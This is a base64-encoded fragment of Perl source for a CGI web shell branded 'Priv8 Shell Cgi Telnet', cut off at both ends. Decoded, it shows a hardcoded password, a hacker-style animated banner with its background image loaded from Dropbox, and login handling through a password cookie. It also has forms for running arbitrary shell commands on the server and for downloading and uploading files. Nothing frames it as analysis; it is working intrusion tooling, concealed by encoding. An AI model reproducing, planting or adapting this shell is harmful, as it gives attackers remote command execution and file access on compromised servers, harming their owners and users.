Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkxvZ291dDwvYT4gfAo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4KCjwvZm9udD48L3RkPgo8L3RyPgo8L3RhYmxlPgo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI2ZmOTljYyIgPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoKCXByaW50IDw8RU5EOwo8cHJlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KVHlwaW5nVGV4dCA9IGZ1bmN0aW9uKGVsZW1lbnQsIGludGVydmFsLCBjdXJzb3IsIGZpbmlzaGVkQ2FsbGJhY2spIHsKICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgewogICAgdGhpcy5ydW5uaW5nID0gdHJ1ZTsJLy8gTmV2ZXIgcnVuLgogICAgcmV0dXJuOwogIH0KICB0aGlzLmVsZW1lbnQgPSBlbGVtZW50OwogIHRoaXMuZmluaXNoZWRDYWxsYmFjayA9IChmaW5pc2hlZENhbGxiYWNrID8gZmluaXNoZWRDYWxsYmFjayA6IGZ1bmN0aW9uKCkgeyByZXR1cm47IH0pOwogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOwogIHRoaXMub3JpZ1RleHQgPSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MOwogIHRoaXMudW5wYXJzZWRPcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQ7CiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOwogIHRoaXMuY3VycmVudFRleHQgPSAiIjsKICB0aGlzLmN1cnJlbnRDaGFyID0gMDsKICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7CiAgaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOwogIFR5cGluZ1RleHQuYWxsLnB1c2godGhpcyk7CiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgdGhpcy5pblRhZyA9IGZhbHNlOwogIHRoaXMudGFnQnVmZmVyID0gIiI7CiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsKICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsKfQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOwpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7ClR5cGluZ1RleHQucnVuQWxsID0gZnVuY3Rpb24oKSB7CiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsKfQpUeXBpbmdUZXh0LnByb3RvdHlwZS5ydW4gPSBmdW5jdGlvbigpIHsKICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsKICBpZih0eXBlb2YgdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgewogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwkvLyBXZSBoYXZlbid0IGZpbmlzaGVkIGxvYWRpbmcgeWV0LiAgSGF2ZSBwYXRpZW5jZS4KICAgIHJldHVybjsKICB9CiAgaWYodGhpcy5jdXJyZW50VGV4dCA9PSAiIikgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9ICIiOwovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7CiAgICBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPCIgJiYgIXRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7CiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPiIgJiYgdGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7CiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLnRhZ0J1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIiYiICYmICF0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7CiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjsiICYmIHRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7CiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5IVE1MRW50aXR5QnVmZmVyOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIHsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgIH0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSB0aGlzLmN1cnJlbnRUZXh0OwogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOwogICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwogIH0gZWxzZSB7Cgl0aGlzLmN1cnJlbnRUZXh0ID0gIiI7Cgl0aGlzLmN1cnJlbnRDaGFyID0gMDsKICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsKICAgICAgICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2soKTsKICB9Cn0KPC9zY3JpcHQ+CjwvcHJlPgoKPGZvbnQgc3R5bGU9ImZvbnQ6IDE1cHQgT3BlbiBTYW5zOyBjb2xvcjogcmVkOyI+WyBQcml2OCBTaGVsbCBDZ2kgVGVsbmV0IF08L2ZvbnQ+PGJyPjxmb250IHN0eWxlPSJmb250OiA4cHQgT3BlbiBTYW5zOyBjb2xvcjogcmVkOyI+UGFzc3dvcmQ6IHByaXY4c2hlbGwgPC9mb250Pjxicjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iI2ZmMTExMSI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjZmYxMTExIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNmZjExMTEiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiNmZjExMTEiPjxmb250IGNvbG9yPSIjZmYxMTExIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iI2ZmMTExMSI+PGZvbnQgY29sb3I9IiNmZjExMTEiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjZmYxMTExIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjZmYxMTExIj48Zm9udCBjb2xvcj0iI2ZmMTExMSI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlCiMgdmFyaWFibGUgJENvb2tpZXN7J30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IE9wZW4gU2FuczsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nIyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t